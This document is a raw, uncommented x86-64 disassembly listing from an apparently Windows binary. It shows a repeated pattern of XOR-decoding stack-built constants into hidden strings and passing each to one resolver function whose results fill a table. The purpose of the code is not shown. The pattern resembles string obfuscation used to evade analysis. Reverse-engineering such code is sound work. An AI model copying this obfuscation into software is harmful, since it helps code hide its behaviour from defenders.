movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0xf0], xmm1
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x100], xmm0
movaps xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x110], xmm1
lea r8, [rbp + 0xd0]
mov rdx, qword [rsp + 0x40]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xc8], rax
movabs rax, 0x107b2ce19832594f
mov qword [rbp + 0x93e0], rax
movabs rax, 0xf94537d9dbb0c32
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1fffffffef322c65
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xe00000000f298e35
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x7f384995f9572b0c
mov qword [rbp + 0x9420], rax
movabs rax, 0x6af83114e9da7c5f
mov qword [rbp + 0x9428], rax
movabs rax, 0x1fffffffef326f21
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x3b30]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140040bd0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
lea r8, [rbp + 0x3b30]
mov rdx, r15
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xe0], rax
movabs rax, 0x16903620307f25e7
mov qword [rbp + 0x93e0], rax
movabs rax, 0x29767f780efe3334
mov qword [rbp + 0x93e8], rax
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93f0], r15
movabs rcx, 0xe00000002001d4b3
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x5fd45354511a57a4
mov qword [rbp + 0x9420], rax
movabs rax, 0x4719160c6d9b6076
mov qword [rbp + 0x9428], rax
mov qword [rbp + 0x9430], r15
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x2f80]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140040d30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea r8, [rbp + 0x2f80]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xe8], rax
movabs rax, 0x11b8fca27bfffc18
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7d162343f00112a7
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7ef58cc3368b994b
mov qword [rbp + 0x9400], rax
movabs rax, 0x7d162343f00177c3
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1600]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x1600]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xf0], rax
movabs rax, 0x1741bacfc43d998b
mov qword [rbp + 0x93e0], rax
movabs rax, 0x61930fe5f2d8ace9
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7807dfbba558ebc8
mov qword [rbp + 0x9400], rax
movabs rax, 0x61930fe5f299d887
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1970]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1970]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xf8], rax
movabs rax, 0xe74b0d2664d615c
mov qword [rbp + 0x93e0], rax
movabs rax, 0x70417743771bccac
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6c3bc4b10321040f
mov qword [rbp + 0x9400], rax
movabs rax, 0x704177430378a9c6
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x2630]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x2630]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x100], rax
movabs rax, 0x85a0b8482222d62
mov qword [rbp + 0x93e0], rax
movabs rax, 0x44aa2ca9d59da5bc
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x4b2e73e1d6564831
mov qword [rbp + 0x9400], rax
movabs rax, 0x44aa2ca9a7f2c9d3
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1c70]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1c70]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x108], rax
movabs rax, 0x1016af305848affa
mov qword [rbp + 0x93e0], rax
movabs rax, 0x61d62a61b004d1cf
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7c79ec5b1a3ccaa9
mov qword [rbp + 0x9400], rax
movabs rax, 0x61d62a61b004a3a0
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x16b0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x16b0]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x110], rax
movabs rax, 0x2a4300428c1aeaa
mov qword [rbp + 0x93e0], rax
movabs rax, 0x42002a256ce8110c
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x43d048617cb5cbf9
mov qword [rbp + 0x9400], rax
movabs rax, 0x42002a25028f7860
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1d40]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1d40]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x118], rax
movabs rax, 0x1aec2e7c6f81d9f7
mov qword [rbp + 0x93e0], rax
movabs rax, 0x35a6abe7bfefe25e
mov qword [rbp + 0x93e8], rax
movabs rax, 0x119d4a475f9d27
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x110ecd671c486775
mov qword [rbp + 0x93f8], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x5f9856193bf5bcb0
mov qword [rbp + 0x9420], rax
movabs rax, 0x5cc9fb93d18a9626
mov qword [rbp + 0x9428], rax
movabs rax, 0x119d0b756ce949
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x47f0]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400414d0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x47f0]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x120], rax
movabs rax, 0x1aaa23aea0615555
mov qword [rbp + 0x93e0], rax
movabs rax, 0x4a9c0e1e8d73452d
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x55de5bcbf4152d10
mov qword [rbp + 0x9400], rax
movabs rax, 0x4a9c0e1e8d323158
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1a30]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xb0], xmm1
lea r8, [rbp + 0x1a30]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x128], rax
movabs rax, 0xbbd7c083bb59f64
mov qword [rbp + 0x93e0], rax
movabs rax, 0x63c4072c7294d4bc
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x69f2197c5ed9fa20
mov qword [rbp + 0x9400], rax
movabs rax, 0x63c4072c06f7b1d6
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x93f0], xmm1
lea rcx, [rbp + 0x1e10]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
lea r8, [rbp + 0x1e10]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x130], rax
movabs rax, 0x1b8f280ce3423060
mov qword [rbp + 0x93e0], rax
movabs rcx, 0x4c6ec2a99df1765d
mov qword [rbp + 0x93e8], rcx
xorps xmm2, xmm2
movabs rax, 0x58cb4d78862e5524
mov qword [rbp + 0x9400], rax
mov qword [rbp + 0x9408], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x9400]
pxor xmm1, xmmword [rbp + 0x93e0]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x1270], xmm1
movaps xmmword [rbp + 0x1280], xmm2
movaps xmm0, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x1290], xmm0
movaps xmm1, xmmword [rbp + 0x5a0]
movaps xmmword [rbp + 0x12a0], xmm1
movaps xmm0, xmmword [rbp + 0x5b0]
movaps xmmword [rbp + 0x12b0], xmm0
movaps xmm1, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x12c0], xmm1
movaps xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x12d0], xmm0
movaps xmm1, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x12e0], xmm1
movaps xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0x12f0], xmm0
lea r8, [rbp + 0x1270]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x138], rax
movabs rax, 0x18ded1e141e31656
mov qword [rbp + 0x93e0], rax
movabs rax, 0x7559977eef528448
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x7bb7a78405977311
mov qword [rbp + 0x9400], rax
movabs rax, 0x7559970d9f33c72d
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x2ac0]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
lea r8, [rbp + 0x2ac0]
mov rdx, qword [rsp + 0x30]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x140], rax
movabs rax, 0x55f55ac77908d61
mov qword [rbp + 0x93e0], rax
movabs rax, 0x61ae5ee838fa90d0
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6a0b21c212f9e122
mov qword [rbp + 0x9400], rax
movabs rax, 0x61ae308d5d88f383
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x2c90]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2c90]
mov rdx, qword [rbp - 0x50]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x148], rax
movabs rax, 0x1f9e9b5f2b547bb2
mov qword [rbp + 0x93e0], rax
movabs rax, 0x62087444b894e553
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x70caf53a4e2618e1
mov qword [rbp + 0x9400], rax
movabs rax, 0x6208002addfd8910
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x2d80]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea r8, [rbp + 0x2d80]
mov rdx, qword [rbp - 0x50]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x150], rax
